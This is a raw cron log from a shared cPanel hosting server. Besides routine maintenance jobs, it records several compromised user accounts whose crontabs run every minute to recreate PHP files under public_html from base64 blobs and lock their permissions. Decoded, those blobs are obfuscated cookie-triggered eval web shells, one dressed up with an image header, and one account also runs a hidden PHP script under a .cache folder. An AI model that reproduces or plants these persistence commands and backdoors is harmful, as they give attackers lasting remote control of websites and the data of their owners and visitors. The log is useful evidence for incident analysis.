Mar  1 22:18:02 medusa CROND[19755]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:18:02 medusa CROND[19758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:18:02 medusa CROND[19759]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:18:02 medusa CROND[19761]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:18:02 medusa CROND[19762]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:18:02 medusa CROND[19763]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:18:02 medusa CROND[19777]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:18:02 medusa CROND[19778]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:19:01 medusa CROND[25565]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:19:01 medusa CROND[25566]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:19:01 medusa CROND[25567]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:19:01 medusa CROND[25568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:19:01 medusa CROND[25571]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:19:01 medusa CROND[25572]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:19:01 medusa CROND[25575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:19:01 medusa CROND[25576]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:19:01 medusa CROND[25581]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:19:01 medusa CROND[25573]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:19:01 medusa CROND[25584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:19:01 medusa CROND[25583]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:20:01 medusa CROND[31134]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:20:01 medusa CROND[31154]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31201]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 22:20:01 medusa CROND[31343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:20:01 medusa CROND[31419]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:20:01 medusa CROND[31420]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31421]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:20:01 medusa CROND[31426]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:20:01 medusa CROND[31423]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:20:01 medusa CROND[31422]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:20:01 medusa CROND[31427]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:20:01 medusa CROND[31429]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:20:01 medusa CROND[31441]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:20:01 medusa CROND[31443]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
